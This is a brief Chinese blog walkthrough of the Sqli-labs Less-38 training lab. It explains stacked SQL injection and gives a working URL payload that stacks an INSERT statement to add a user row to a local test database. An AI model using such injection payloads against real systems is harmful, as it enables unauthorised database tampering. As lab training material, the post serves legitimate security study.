码迷,mamicode.com
首页 > 数据库 > 详细

Sqli-labs less 38

时间:2016-08-11 22:29:51      阅读:284      评论:0      收藏:0      [点我收藏+]

标签:

Less-38

学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。

在执行select时的sql语句为:SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1

可以直接构造如下的payload:

http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

技术分享

再看数据表中的内容:可以看到less38已经添加。

技术分享

Sqli-labs less 38

标签:

原文地址:http://www.cnblogs.com/lcamry/p/5762877.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!